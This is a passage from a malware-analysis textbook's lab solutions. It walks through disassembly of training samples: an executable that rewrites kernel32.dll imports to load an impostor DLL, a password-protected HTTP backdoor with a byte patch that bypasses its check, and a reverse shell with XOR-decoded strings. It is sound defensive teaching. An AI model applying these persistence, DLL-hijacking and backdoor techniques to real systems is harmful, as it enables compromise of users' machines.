Because we’re not trying to determine every last operation of the program, 
we can skip the tedious memory-operation functions. (Analyzing time-
consuming functions like these is a common trap and should be avoided 
unless absolutely necessary.) We also see a lot of arithmetic, as well as mem-
ory movement and comparisons in this function, probably within the two 
open files (kernel32.dll and Lab07-03.dll). The program is reading and writing 
the two open files. We could painstakingly track every instruction to see what 
changes are being made, but it’s much easier to skip over that for now and 
use dynamic analysis to observe how the files are accessed and modified.

Scrolling down in IDA Pro, we see more interesting code that calls Win-
dows API functions. First, it calls CloseHandle on the two open files, so we know 
that the malware is finished editing those files. Then it calls CopyFile, which 
copies Lab07-03.dll and places it in C:\Windows\System32\kerne132.dll, which is 
clearly meant to look like kernel32.dll. We can guess that kerne132.dll will be 
used to run in place of kernel32.dll, but at this point, we don’t know how 
kerne132.dll will be loaded.

The calls to CloseHandle and CopyFile tell us that this portion of code is 
complete, and the next section of code probably performs a separate logical 
task. We continue to look through the main method, and near the end, we see 
another function call that takes the string argument C:\\*, as follows:

00401806  push    offset aC       ; "C:\\*"
0040180B  call    sub_4011E0
526 Appendix C



7

Unlike the other functions called by main, sub_4011E0 calls several other 
imported functions and looks interesting. Navigating to sub_4011E0, we would 
expect to see that IDA Pro has named the first argument to the function as 
arg_0, but it has labeled it lpFilename instead. It knows that it is a filename, 
because it is used as a parameter to a Windows API function that accepts a 
filename as a parameter. One of the first things this function does is call 
FindFirstFile on C:\\* to search the C: drive.

Following the call to FindFirstFile, we see a lot of arithmetic and compar-
isons. This is another tedious and time-consuming function that we should 
skip and return to only if we need more information later. The first call we 
see (other than malloc) is to sub_4011e0, the function that we’re currently ana-
lyzing, which tells us that this is a recursive function that calls itself. The next 
function called is stricmp at , as follows:

004013F6  call    ds:_stricmp
004013FC                 add     esp, 0Ch
004013FF                 test    eax, eax
00401401                 jnz     short loc_40140C
00401403                 push    ebp             ; lpFileName
00401404  call    sub_4010A0

The arguments to the stricmp function are pushed onto the stack about 
30 instructions before the function call, but you can still find them by look-
ing for the most recent push instructions. The string comparison checks a 
string against .exe, and then it calls the function sub_4010a0 at  to see if they 
match.

We’ll finish reviewing this function before we see what sub_4010a0 does. 
Digging further, we see a call to FindNextFileA, and then we see a jump call, 
which indicates that this functionality is performed in a loop. At the end of 
the function, FindClose is called, and then the function ends with some 
exception-handling code.

At this point, we can say with high confidence that this function is search-
ing the C: drive for .exe files and doing something if a file has an .exe extension. 
The recursive call tells us that it’s probably searching the whole filesystem. 
We could go back and verify the details to be sure, but this would take a long 
time. A much better approach is to perform the basic dynamic analysis with 
Process Monitor (procmon) to verify that it’s searching every directory for 
files ending in .exe.

In order to see what this program is doing to .exe files, we need to analyze 
the function sub_4010a0, which is called when the .exe extension is found. 
sub_4010a0 is a complex function that would take too long to analyze carefully. 
Instead, we once again look only at the function calls. Here, we see that it 
first calls CreateFile, CreateFileMapping, and MapViewOfFile to map the entire file 
into memory. This tells us that the entire file is mapped into memory space, 
and the program can read or write the file without any additional function 
calls. This complicates analysis because it’s harder to tell how the file is being 
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modified. Again, we’ll just move quickly through this function and use 
dynamic analysis to see what changes are made to the file.

Continuing to review the function, we see more arithmetic calls to 
IsBadPtr, which verify that the pointer is valid. Then we see a call to stricmp 
as shown at  in the following listing.

0040116E   push    offset aKernel32_dll ; "kernel32.dll"
00401173 push    ebx             ; char *
00401174 call    ds:_stricmp
0040117A   add     esp, 8
0040117D   test    eax, eax
0040117F   jnz     short loc_4011A7
00401181   mov     edi, ebx
00401183   or      ecx, 0FFFFFFFFh
00401186 repne scasb
00401188   not     ecx
0040118A   mov     eax, ecx
0040118C   mov     esi, offset dword_403010
00401191 mov     edi, ebx
00401193   shr     ecx, 2
00401196 rep movsd
00401198   mov     ecx, eax
0040119A   and     ecx, 3
0040119D   rep movsb

At this call to stricmp, the program checks for a string value of kernel32.dll 
at . A few instructions later, we see that the program calls repne scasb at  
and rep movsd at , which are functionally equivalent to the strlen and memcpy 
functions. In order to see which memory address is being written by the memcpy 
call, we need to determine what’s stored in EDI, the register used by the rep 
movsd instruction. EDI is loaded with the value from EBX at , so we need to 
see where EBX is set.

We see that EBX is loaded with the value that we passed to stricmp at . 
This means that if the function finds the string kernel32.dll, the code replaces 
it with something. To determine what it replaces that string with, we go to 
the rep movsd instruction and see that the source is at offset dword_403010.

It doesn’t make sense for a DWORD value to overwrite a string of kernel32.dll, 
but it does make sense for one string value to overwrite another. The follow-
ing listing shows what is stored at dword_403010.

00403010 dword_403010    dd 6E72656Bh            ; DATA XREF: 
00403014 dword_403014    dd 32333165h            ; DATA XREF: _main+1B9r
00403018 dword_403018    dd 6C6C642Eh            ; DATA XREF: _main+1C2r
0040301C dword_40301C    dd 0                    ; DATA XREF: _main+1CBr

You should recognize that hex values beginning with 3, 4, 5, 6, or 7 are 
ASCII characters. IDA Pro has mislabeled our data. If we put the cursor on 
the same line as dword_403010 and press the A key on the keyboard, it will con-
vert the data into the string kerne132.dll.
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Now we know that the executable searches through the filesystem for 
every file ending in .exe, finds a location in that file with the string kernel32.dll, 
and replaces it with kerne132.dll. From our previous analysis, we know that 
Lab07-03.dll will be copied into C:\Windows\System32 and named kerne132.dll. 
At this point, we can conclude that the malware modifies executables so that 
they access kerne132.dll instead of kernel32.dll. This indicates that kerne132.dll 
is loaded by executables that are modified to load kerne132.dll instead of 
kernel32.dll.

At this point, we’ve reached the end of the program and should be able 
to use dynamic analysis to fill in the gaps. We can use procmon to confirm 
that the program searches the filesystem for .exe files and then opens them. 
(Procmon will show the program opening every executable on the system.) 
If we select an .exe file that has been opened and check the imports directory, 
we confirm that the imports from kernel32.dll have been replaced with imports 
from kerne132.dll. This means that every executable on the system will attempt 
to load our malicious DLL—every single one.

Next, we check to see how the program modified kernel32.dll and Lab07-
03.dll. We can calculate the MD5 hash of kernel32.dll before and after the 
program runs to clearly see that this malware does not modify kernel32.dll. 
When we open the modified Lab07-03.dll (now named kerne132.dll), we 
see that it now has an export section. Opening it in PEview, we see that it 
exports all the functions that kernel32.dll exported, and that these are for-
warded exports, so that the actual functionality is still in kernel32.dll. The 
overall effect of this modification is that whenever an .exe file is run on this 
computer, it will load the malicious kerne132.dll and run the code in DLLMain. 
Other than that, all functionality will be unchanged, and the code will exe-
cute as if the program were still calling the original kernel32.dll.

We have now analyzed this malware completely. We could create host- 
and network-based signatures based on what we know, or we could write a 
malware report.

We did gloss over a lot of code in this analysis because it was too compli-
cated, but did we miss anything? We did, but nothing of importance to mal-
ware analysis. All of the code in the main method that accessed kernel32.dll 
and Lab07-03.dll was parsing the export section of kernel32.dll and creating an 
export section in Lab07-03.dll that exported the same functions and created 
forward entries to kernel32.dll.

The malware needs to scan kernel32.dll for all the exports and create 
forward entries for the imposter kerne132.dll, because kernel32.dll is differ-
ent on different systems. The tailored version of kerne132.dll exports exactly 
the same functions as the real kernel32.dll. In the function that modified the 
.exe, the code found the import directory, so it could modify the import to 
kernel32.dll and set the bound import table to zero so that it would not be used.

With careful and time-consuming analysis, we could determine what all 
of these functions do. However, when analyzing malware, time is often of the 
essence, and you should typically focus on what’s important. Try not to worry 
about the little details that won’t affect your analysis.
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Lab 9-1 Solutions

Short Answers
1. You can get the program to install itself by providing it with the -in 

option, along with the password. Alternatively, you can patch the binary 
to skip the password verification check.

2. The command-line options for the program are one of four values and 
the password. The password is the string abcd and is required for all 
actions except the default behavior. The -in option instructs the malware 
to install itself. The -re option instructs the malware to remove itself. The 
-c option instructs the malware to update its configuration, including its 
beacon IP address. The -cc option instructs the malware to print its cur-
rent configuration to the console. By default, this malware functions as a 
backdoor if installed.

3. You can patch the binary by changing the first bytes of the function at 
address 0x402510 to always return true. The assembly instruction for this 
behavior is MOV EAX, 0x1; RETN;, which corresponds to the byte sequence 
B8 01 00 00 00 C3.

4. The malware creates the registry key HKLM\Software\Microsoft \XPS\
Configuration (note the trailing space after Microsoft). The malware also 
creates the service XYZ Manager Service, where XYZ can be a parameter 
provided at install time or the name of the malware executable. Finally, 
when the malware copies itself into the Windows System directory, it may 
change the filename to match the service name.

5. The malware can be instructed to execute one of five commands via 
the network: SLEEP, UPLOAD, DOWNLOAD, CMD, or NOTHING. The SLEEP command 
instructs the malware to perform no action for a given period of time. 
The UPLOAD command reads a file from the network and writes it to the 
local system at a specified path. The DOWNLOAD command instructs the mal-
ware to send the contents of a local file over the network to the remote 
host. The CMD command causes the malware to execute a shell command 
on the local system. The NOTHING command is a no-op command that 
causes the malware to do nothing.

6. By default, the malware beacons http://www.practicalmalwareanalysis.com/; 
however, this is configurable. The beacons are HTTP/1.0 GET requests 
for resources in the form xxxx/xxxx.xxx, where x is a random alphanumeric 
ASCII character. The malware does not provide any HTTP headers with 
its requests.

Detailed Analysis
We start by debugging the malware with OllyDbg. We use the F8 key to step-
over until we arrive at the address 0x403945, which is the call to the main func-
tion. (The easiest way to figure out that the main function starts at 0x402AF0
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is by using IDA Pro.) Next, we use the F7 key to step-into the call to the main 
function. We continue to step forward using F7 and F8 while noting the 
behavior of the sample. (If you accidentally go too far, you can reset execu-
tion to the beginning by pressing CTRL-F2.)

First, the malware checks to see if the number of command-line argu-
ments equals 1 at address 0x402AFD. We have not specified any parameters, 
so the check succeeds, and execution resumes at address 0x401000. Next, it 
attempts to open the registry key HKLM\SOFTWARE\Microsoft \XPS; however, since 
the registry key does not exist, the function returns zero, so execution calls 
into the function at 0x402410.

The function at 0x402410 uses GetModuleFilenameA to get the path of the 
current executable and builds the ASCII string /c del path-to-executable >> 
NUL. Figure 9-1L shows an instance of the string in the registers window of 
OllyDbg. Note that the contents of EDX are 0x12E248, but OllyDbg correctly 
interprets this as a pointer to an ASCII string. The malware attempts to delete 
itself from the disk by combining the constructed string with program cmd.exe 
in a call to ShellExecuteA. Fortunately, we have the file open in OllyDbg, so 
Windows does not allow the file to be deleted. This behavior is consistent 
with what we saw during basic dynamic analysis of the sample in the Chap-
ter 3 labs.

Figure 9-1L: The malware prepares to delete itself, as seen 
in the string pointer to EDX

Our next task is to coerce the malware to run properly. We have at 
least two options: we can provide more command-line arguments to 
satisfy the check at address 0x402AFD, or we can modify the code path 
that checks for the registry keys. Modifying the code path may have unin-
tended effects. Later instructions can depend on information stored in 
these keys, and if that information is changed, the malware could fail to 
execute. Let’s try providing more command-line arguments first, to avoid 
potential issues.

Choose any entry from the strings listing, such as -in, and use it as a 
command-line argument to test whether the malware does something inter-
esting. To do this, choose DebugArguments, as shown in Figure 9-2L. 
Then add the -in argument in the OllyDbg arguments dialog, as shown in 
Figure 9-3L.

When the malware is executed with the argument -in, it still tries to 
delete itself, which tells us that the command-line arguments are not yet 
valid. Let’s use OllyDbg to step through the code flow when we give the 
malware a parameter to see what’s happening.
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Listing 9-1L shows the function setup and parameter check.

00402AF0        PUSH EBP
00402AF1        MOV EBP,ESP
00402AF3        MOV EAX,182C
00402AF8        CALL Lab09-01.00402EB0
00402AFD  CMP DWORD PTR SS:[EBP+8],1
00402B01        JNZ SHORT Lab09-01.00402B1D

Listing 9-1L: Function setup and argc comparison

We see that after checking a command-line parameter, execution takes 
the jump at 0x402B01. argc, the number of string arguments passed to the 
program, is found 8 bytes above the frame pointer , since it is the first argu-
ment to the main function.

At 0x402B2E, the last command-line argument is passed into the func-
tion that starts at address 0x402510. We know it is the last argument because 
the main function of a standard C program takes two parameters: argc, the 
number of command-line parameters, and argv, an array of pointers to the 
command-line parameters. EAX contains argc, and ECX contains argv, as 
shown in Listing 9-2L at  and . The instruction at  performs pointer 

Figure 9-2L: Choosing to debug arguments Figure 9-3L: Adding the -in argument
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arithmetic to select the last element in the array of command-line parame-
ters. This pointer ends up in EAX, and is pushed onto the top of the stack 
prior to the function call.

00402B1D      MOV EAX,DWORD PTR SS:[EBP+8]        ; ARGC
00402B20      MOV ECX,DWORD PTR SS:[EBP+C]        ; ARGV
00402B23        MOV EDX,DWORD PTR DS:[ECX+EAX*4-4] 
00402B27        MOV DWORD PTR SS:[EBP-4],EDX
00402B2A        MOV EAX,DWORD PTR SS:[EBP-4]
00402B2D        PUSH EAX

Listing 9-2L: Pointer to the last element in argv is pushed on the stack

The basic disassembly view provided by OllyDbg gives a rough overview 
of the function that starts at address 0x402510. There are no function calls, 
but by scanning the instructions, we see the use of the arithmetic operations 
ADD, SUB, MUL, and XOR on byte-sized operands, such as at addresses 0x402532 
through 0x402539. It looks like this routine does a sanity check of the input 
using a convoluted, hard-coded algorithm. Most likely the input is some type 
of password or code.

NOTE If you perform a full analysis of 0x4025120, you can determine that the password 
is abcd. You will be equally successful using the password or the patch method we 
explain next.

Rather than reversing the algorithm, we patch the binary so that the 
password check function at 0x402510 will always return the value associated 
with a successful check. This will allow us to continue analyzing the meat 
of the malware. We note that there is an inline function call to strlen at 
addresses 0x40251B through 0x402521. If the argument fails this check, EAX 
is zeroed out, and execution resumes at the function cleanup at 0x4025A0. 
Further reversing reveals that only the correct argument will cause the func-
tion to return the value 1, but we’ll patch it so that it returns 1 in all cases, 
regardless of the argument. To do this, we insert the instructions shown in 
Listing 9-3L.

B8 01 00 00 00        MOV EAX, 0x1
C3                    RET

Listing 9-3L: Patch code for the password check

We assemble these instructions using the Assemble option in OllyDbg 
and get the 6-byte sequence: B8 01 00 00 00 C3. Because the CALL instruction 
prepares the stack, and the RET instruction cleans it up, we can overwrite the 
instructions at the very beginning of the password check function, at address 
0x402510. Edit the instructions by right-clicking the start address you wish 
to edit and selecting BinaryEdit. Figure 9-4L shows the relevant context 
menu items.
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Figure 9-4L: Patching a binary

Figure 9-5L shows the assembled instructions after they have been 
entered into the edit dialog. Since we want to write 6 bytes over a previous 
instruction that took only 1 byte, we uncheck the box labeled Keep size. 
We then enter the assembled hex values in the HEX+06 field and click OK. 
OllyDbg will automatically assemble and display the new instructions at the 
appropriate location. Next, save the changes to the executable by right-
clicking the disassembly window and selecting Copy to executableAll 
modifications. Accept all dialogs, and save the new version as Lab09-01-
patched.exe.

To test whether the password check function was successfully disabled, 
we try debugging it with the command-line parameter -in again. This time, 
the malware successfully passes the check at address 0x402510 and jumps to 
address 0x402B3F. Six instructions later, a pointer to the first command-line 
parameter is pushed onto the stack next to a pointer to another ASCII string, 
-in. Figure 9-6L shows the state of the stack at this point.

The function at address 0x40380F is __mbscmp, which is a string-comparison 
function recognized by IDA Pro’s FLIRT signature database. The malware 
uses __mbscmp to check the command-line parameter against a list of sup-
ported options that determine its behavior.

Next, the malware checks that two command-line parameters were pro-
vided. Since we have provided only one (-in), the check fails, and the mal-
ware attempts to delete itself again. We can pass this check by providing an 
additional command-line parameter.

Recall that the last command-line parameter is treated as a password, but 
since we patched the password function, we can provide any string as the 
password. Set a breakpoint at address 0x402B63 so we can quickly return to 

Figure 9-5L: Inserting new instructions Figure 9-6L: State of the stack 
at address 0x402B57
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the command-line parameter check, add a junk command-line argument 
after -in, and restart the debugging process. The malware accepts all the 
command-line parameters and performs its intended behavior.

If we continue to debug the malware, we see the malware attempt to 
open the service manager at address 0x4026CC using the same basename as 
the malware executable. The basename is the portion of a path with the direc-
tory and file extension information stripped. If the service does not exist, the 
malware creates an autostart service with a name in the form basename Manager 
Service, and the binary path %SYSTEMROOT%\system32\<filename>. Figure 9-7L 
shows the state of the call stack when CreateServiceA is called and includes 
the ASCII string name, description, and path. At address 0x4028A1, the 
malware copies itself into %SYSTEMROOT%\system32\ . The function at 
address 0x4015B0 alters the modified, accessed, and changed timestamps 
of the copy to match those of the system file kernel32.dll. Modifying time-
stamps to match another file is known as timestomping.

Figure 9-7L: Stack state at call to CreateServiceA at address 0x402805

Finally, the malware creates the registry key HKLM\SOFTWARE\Microsoft \XPS. 
The trailing space after Microsoft makes this a unique host-based indicator. 
It fills the value named Configuration with the contents of a buffer pointed to 
by the EDX register at address 0x4011BE. To find out what the contents of 
that buffer were, set a breakpoint at the address 0x4011BE, and run (press F9) 
to it. Right-click the contents of the EDX register in the registers window 
and select Follow in Dump. The hex dump view shows four NULL-terminated 
strings followed by many zeros, as shown in Figure 9-8L. The strings contain 
the values ups, http://www.practicalmalwareanalysis.com, 80, and 60. This looks 
like it may be the configuration data related to a network capability of the 
malware.

Figure 9-8L: Networking strings seen in memory

Command-Line Option Analysis

With the installation routine of the malware documented, we can now 
explore the other functionality by continuing to debug it with OllyDbg or 
disassembling it with IDA Pro. First, we’ll use IDA Pro to describe other code 
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paths. This sample supports the switches -in, -re, -c, and -cc, as shown in 
Table 9-1L. These can be easily identified in the main function by looking for 
calls to __mbscmp.

Compare the function that starts at address 0x402900, which corre-
sponds to the command-line parameter -re, with the installation function 
that we examined earlier. The -re function does the exact opposite of the 
function at 0x402600. It opens the service manager (address 0x402915), 
locates an installation of the malware (address 0x402944), and deletes 
the service (address 0x402977). Finally, it deletes the copy of the malware 
located in %SYSTEMROOT%\system32 and removes the configuration reg-
istry value (addresses 0x402A9D and 0x402AD5).

Next, look at the function that starts at address 0x401070, which runs if 
we provide the -c switch. If you’ve been diligent in renaming functions with 
descriptive names in IDA Pro, then it will be obvious that we have already 
encountered this function, during both the installation and uninstallation 
routines. If you’ve forgotten to update this function name, use the cross-
reference feature of IDA Pro to verify that this function is used in all those 
places. To do this, navigate to the function implementation, click the func-
tion name, right-click the name, and select Xrefs to.

The function that starts at 0x401070 takes four parameters, which it con-
catenates together. The string concatenation functions are inline and can be 
identified by the REP MOVSx (REPeat MOVe String) instructions. The function 
writes the resultant buffer to the registry value Configuration of the Windows 
registry key HKLM\SOFTWARE\Microsoft \XPS. Providing the -c switch to the mal-
ware allows the user to update the malware configuration in the Windows 
registry. Figure 9-9L shows the entry in the Windows registry using Regedit 
after a default installation of the malware.

The function at 0x401280, which executes if the -cc switch is provided, 
is the reverse of the configure function (0x401070), as it reads the contents 
of the configuration registry value and places the fields into buffers speci-
fied as function arguments. If the -cc switch is provided to the malware, the 
current configuration is read from the registry and formatted into a string. 
The malware then prints this string to the console. Here is the output of 
the -cc switch after a default installation of the malware:

C:>Lab09-01-patched.exe –cc epar
k:ups h:http://www.practicalmalwareanalysis.com p:80 per:60

Table 9-1L: Supported Command-Line Switches

Command-line switch Address of implementation Behavior

-in 0x402600 Installs a service

-re 0x402900 Uninstalls a service

-c 0x401070 Sets a configuration key

-cc 0x401280 Prints a configuration key
536 Appendix C



9

Figure 9-9L: Configuration registry value

The final code path is reached when the malware is installed and not 
provided with any command-line parameters. The malware checks for 
installation at address 0x401000 by determining whether the registry key 
was created. The implementation of the default behavior is found in the 
function starting at address 0x402360. Note the jump up at 0x402403 and 
back to 0x40236D, which indicates a loop, and that the three exit condi-
tions (at addresses 0x4023B6, 0x4023E0, and 0x402408) lead directly to pro-
gram termination. It looks like the malware gets the current configuration, 
calls a function, sleeps for a second, and then repeats the process forever.

Backdoor Analysis

The backdoor functionality is implemented in a chain of functions first 
called from the infinite loop. The function at 0x402020 calls the function 
starting at address 0x401E60, and compares the beginning of the string 
returned against a list of the supported values: SLEEP, UPLOAD, DOWNLOAD, CMD, 
and NOTHING. If the malware encounters one of these strings, it will call a func-
tion that responds to that request, in a process similar to the parsing of the 
command-line arguments. Table 9-2L summarizes the supported commands, 
showing the adjustable parameters in italics.

Table 9-2L: Supported Commands

Command
Address of 
implementation

Command-string 
format Behavior

SLEEP 0x402076 SLEEP secs Sleeps for secs seconds

UPLOAD 0x4019E0 UPLOAD port 
filename

Creates the file filename on the local 
system by first connecting to the remote 
host over port port and reading the 
contents

DOWNLOAD 0x401870 DOWNLOAD port 
filename

Reads the file filename and sends it to 
the remote host over port port

(continued)
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NOTE UPLOAD and DOWNLOAD commands are reversed from their standard usage. Always focus 
on the underlying functionality for your analysis and not the individual strings used 
by the malware.

Networking Analysis

At this point, we see that we have a full-featured backdoor on our hands. The 
malware can execute arbitrary shell commands and built-in routines for file 
upload and download. Next, we’ll explore the function that starts at address 
0x401E60 and returns the command to the behavior dispatcher. This will 
show how a command is communicated to the malware from the remote 
host, which may enable us to create network-based signatures for this sample.

While browsing the contents of 0x401E60, we see quite a few calls to 
functions with only one cross-reference. Rather than fully reverse each func-
tion, we debug this code path using OllyDbg. Before doing this, ensure that 
the malware has been successfully installed by running the malware with the 
-cc option, which should print out the current configuration if the program 
is installed, or attempt to delete itself if it is not.

Next, open the malware with OllyDbg and delete any saved command-
line parameters so that the malware will perform its default behavior. Set a 
breakpoint at address 0x401E60. You can easily navigate to this address by 
pressing CTRL-G and entering 401E60. Set the breakpoint at that location 
by pressing F2.

Run through this region a few times using Step Over (press F8). Pay par-
ticular attention to the function arguments and return values.

First, we’ll examine the function that starts at 0x401420. We set a break-
point at the call at address 0x401E85 and at the instruction immediately after 
it (0x401E8A). At the first breakpoint, two parameters have been pushed 
onto the stack. On the top of the stack, we see the address 0x12BAAC, fol-
lowed by the integer 0x400. If we follow the address in the dump view, we see 
that it contains a large chunk of zeros—probably at least 0x400 bytes of free 
space. Next, run the malware (press F9) to the second breakpoint. In the 
function that starts at address 0x401420, the malware writes the ASCII string 
http://www.practicalmalwareanalysis.com into the buffer. We can now (correctly) 
hypothesize that this function gets a particular configuration value from the 
Windows registry, which was initialized during installation, and puts it in 
a buffer. Now let’s try the same approach with the functions that start at 
addresses 0x401470 and 0x401D80.

CMD 0x402268 CMD port 
command

Executes the shell command command 
with cmd.exe and sends the output to 
the remote host over port port

NOTHING 0x402356 NOTHING No operation

Table 9-2L: Supported Commands (continued)

Command
Address of 
implementation

Command-string 
format Behavior
538 Appendix C



9

The function that starts at 0x401470 is analogous to the function that 
starts at 0x401420, except that it returns the number 80 (0x50) rather than 
a URL. This string contains the port number associated with the server at 
http://www.practicalmalwareanalysis.com/.

The function that starts at 0x401D80 is a little different in that it does not 
return the same value at each invocation. Rather, it appears to return an ASCII 
string containing random characters. After debugging this function many 
times, a pattern will appear that involves the forward slash (/) and dot (.) 
characters. Perhaps the returned string corresponds to a URL-like scheme.

When the malware is analyzed in an isolated testing environment, it will 
repeatedly fail somewhere within the next function, which starts at address 
0x401D80. Returning to the disassembly view of IDA Pro, we see that within 
this function, the malware constructs an HTTP/1.0 GET request and connects 
to a remote system. This connection is unlikely to be blocked by corporate 
firewalls, since it is a valid outbound HTTP request. If your malware analysis 
virtual machine has networking disabled, the outbound connection will 
never succeed, and the malware fails. However, by following the disassembly 
listing carefully, you will see that the malware does, in fact, attempt to con-
nect to the domain and port recorded in the registry configuration key, and 
requests a randomly named resource. Further analysis of the disassembly 
shows that the malware searches the document returned by the server for the 
particular strings `’`’` (backtick, apostrophe, backtick, apostrophe, backtick) 
and ’`’`’ (apostrophe, backtick, apostrophe, backtick, apostrophe), and 
uses these to delineate the command-and-control protocol.

Malware Summary

This sample is an HTTP reverse backdoor. The password abcd must be provided 
as the last parameter when invoking the malware for installation, configura-
tion, and removal. It installs itself by copying itself to the %SYSTEMROOT%\
WINDOWS\system32 directory and creating an autorun service. The malware 
can be cleanly removed by passing the command-line argument -re, or recon-
figured using the -c flag.

When run after installation, the malware uses a registry key to fetch 
server configuration information, and makes HTTP/1.0 GET requests to the 
remote system. The command-and-control protocol is embedded within the 
response document. The malware recognizes five commands, including one 
that specifies the execution of arbitrary shell commands.

Lab 9-2 Solutions

Short Answers
1. The imports and the string cmd are the only interesting strings that 

appear statically in the binary.

2. It terminates without doing much.

3. Rename the file ocl.exe before you run it.
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4. A string is being built on the stack, which is used by attackers to obfuscate 
strings from simple strings utilities and basic static analysis techniques.

5. The string 1qaz2wsx3edc and a pointer to a buffer of data are passed to 
subroutine 0x401089.

6. The malware uses the domain practicalmalwareanalysis.com.

7. The malware will XOR the encoded DNS name with the string 
1qaz2wsx3edc to decode the domain name.

8. The malware is setting the stdout, stderr, and stdin handles (used in the 
STARTUPINFO structure of CreateProcessA) to the socket. Since CreateProcessA 
is called with cmd as an argument, this will create a reverse shell by tying 
the command shell to the socket.

Detailed Analysis
We will use dynamic analysis and OllyDbg to analyze this piece of malware in 
order to determine its functionality. But before we get into debugging, let’s 
begin by running Strings on the binary. We see the imports and the string 
cmd. Next, we’ll simply run the binary to see if anything interesting happens.

Based on the process launch and exit in Process Explorer, the process 
seems to terminate almost immediately. We are definitely going to need to 
debug this piece to see what’s going on.

When we load the binary into IDA Pro, we see the main function begins at 
0x401128. OllyDbg will break at the entry point of the application, but the 
entry point contains a lot of uninteresting code generated by the compiler, 
so we’ll set a software breakpoint on main, since we want to focus on it.

Decoding Stack-Formed Strings

If we click the Run button, we hit the first breakpoint at main. The first thing 
to notice is a large series of mov instructions moving single bytes into local 
variables beginning at , as shown in Listing 9-4L.

00401128         push    ebp
00401129         mov     ebp, esp
0040112B         sub     esp, 304h
00401131         push    esi
00401132         push    edi
00401133         mov     [ebp+var_1B0], 31h 
0040113A         mov     [ebp+var_1AF], 71h
00401141         mov     [ebp+var_1AE], 61h
00401148         mov     [ebp+var_1AD], 7Ah
0040114F         mov     [ebp+var_1AC], 32h
00401156         mov     [ebp+var_1AB], 77h
0040115D         mov     [ebp+var_1AA], 73h
00401164         mov     [ebp+var_1A9], 78h
0040116B         mov     [ebp+var_1A8], 33h
00401172         mov     [ebp+var_1A7], 65h
00401179         mov     [ebp+var_1A6], 64h
00401180         mov     [ebp+var_1A5], 63h
00401187         mov     [ebp+var_1A4], 0 
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0040118E         mov     [ebp+Str1], 6Fh
00401195         mov     [ebp+var_19F], 63h
0040119C         mov     [ebp+var_19E], 6Ch
004011A3         mov     [ebp+var_19D], 2Eh
004011AA         mov     [ebp+var_19C], 65h
004011B1         mov     [ebp+var_19B], 78h
004011B8         mov     [ebp+var_19A], 65h
004011BF         mov     [ebp+var_199], 0 

Listing 9-4L: Building an ASCII string on the stack, one character at a time

This code builds two ASCII strings by moving each character onto the 
stack followed by NULL terminators at  and , which is a popular method 
for string obfuscation. The obfuscated strings will be referenced by the first 
variable of the string, which will give us the full NULL-terminated ASCII 
string. We single-step over these moves to look for signs of these strings being 
created on the stack in the lower-right pane. We stop executing at 0x4011C6, 
right-click EBP, and select Follow in Dump. By scrolling up to the first string 
[EBP-1B0], we can see the string 1qaz2wsx3edc being created. The second string 
is created at [EBP-1A0] and named ocl.exe.

Filename Check

After these strings are created, we can see a call to GetModuleFileNameA in List-
ing 9-5L at , and then a function call within the Lab09-02.exe malware to 
0x401550. If we try to analyze this function in OllyDbg, we’ll find that it’s 
rather complicated. If we examine it in IDA Pro, we’ll see that it is the C run-
time library function _strrchr. OllyDbg missed this due to the lack of symbol 
support. If we load the binary into IDA Pro, we can let IDA Pro use its FLIRT 
signature detection to correctly identify these APIs, as shown as shown at .

00401208     call    ds:GetModuleFileNameA 
0040120E     push    5Ch         ; Ch
00401210     lea     ecx, [ebp+Str]
00401216     push    ecx         ; Str
00401217     call    _strrchr 

Listing 9-5L: IDA Pro labels strrchr properly, but OllyDbg does not.

Let’s verify this by setting a breakpoint on the call at 0x401217. We can 
see two arguments being pushed on the stack. The first is a forward slash, 
and the second is the value being returned from the GetModuleFileNameA call, 
which would be the current name of the executable. The malware is search-
ing backward for a forward slash (0x5C character) in an attempt to get the 
name (rather than the full path) of the executable being executed. If we 
step-over the call to _strrchr, we can see that EAX is pointing to the string 
\Lab09-02.exe.

The next function call (0x4014C0) reveals a situation similar to _strrchr. 
IDA Pro identifies this function as _strcmp, as shown in Listing 9-6L.
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0040121F     mov     [ebp+Str2], eax
00401222     mov     edx, [ebp+Str2]
00401225     add     edx, 1 
00401228     mov     [ebp+Str2], edx
0040122B     mov     eax, [ebp+Str2]
0040122E     push    eax         ; Str2
0040122F     lea     ecx, [ebp+Str1]
00401235     push    ecx         ; Str1
00401236     call    _strcmp

Listing 9-6L: IDA Pro labels strcmp properly, but OllyDbg does not.

We’ll determine which strings are being compared by setting a break-
point on the call to _strcmp at 0x401236. Once our breakpoint is hit, we can 
see the two strings being sent to the _strcmp call. The first is the pointer to the 
GetModuleFileNameA call (incremented by one at  to account for the forward 
slash), and the other is ocl.exe (our decoded string from earlier). If the strings 
match, EAX should contain 0, the test eax,eax will set the zero flag to true, 
and execution will then go to 0x40124C. If the condition is false, it looks like 
the program will exit, which explains why the malware terminated when we 
tried to execute it earlier. The malware must be named ocl.exe in order to 
properly execute.

Let’s rename the binary ocl.exe and set a breakpoint at 0x40124C. If our 
analysis is correct, the malware should not exit, and our breakpoint will be 
hit. Success! Our breakpoint was hit, and we can continue our analysis in 
OllyDbg.

Decoding XOR Encoded Strings

WSAStartup and WSASocket are imported, so we can assume some networking 
functionality is going to be taking place. The next major function call is 
at 0x4012BD to the function 0x401089. Let’s set a breakpoint at 0x401089 
and inspect the stack for the arguments to this function call.

The two arguments being passed to this function are a stack buffer 
(encoded string) and the string 1qaz2wsx3edc (key string). We step-into the 
function and step to the call at 0x401440, which passes the key string to 
strlen. It returns 0xC and moves it into [EBP-104]. Next, [EBP-108] is initialized 
to 0. OllyDbg has noted a loop in progress, which makes sense since [EBP-108] 
is a counter that is incremented at 0x4010DA and compared to 0x20 at 
0x4010E3. As the loop continues to execute, we see our key string going 
through an idiv and mov instruction sequence, as shown Listing 9-7L.

004010E3     cmp     [ebp+var_108], 20h
004010EA jge     short loc_40111D 
004010EC     mov     edx, [ebp+arg_4]
004010EF     add     edx, [ebp+var_108]
004010F5     movsx   ecx, byte ptr [edx]
004010F8     mov     eax, [ebp+var_108]
004010FE     cdq
004010FF     idiv    [ebp+var_104]
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00401105     mov     eax, [ebp+Str]
00401108     movsx   edx, byte ptr [eax+edx] 
0040110C     xor     ecx, edx 
0040110E     mov     eax, [ebp+var_108]
00401114     mov     [ebp+eax+var_100], cl
0040111B     jmp     short loc_4010D4

Listing 9-7L: String decoding functionality

This is getting an index into the string. Notice the use of EDX after the 
idiv instruction at , which is using modulo to allow the malware to loop 
over the string in case the encoded string length is longer than our key 
string. We then see an interesting XOR at .

If we set a breakpoint at 0x4010F5, we can see which value is being 
pointed to by EDX and being moved into ECX, which will tell us the value 
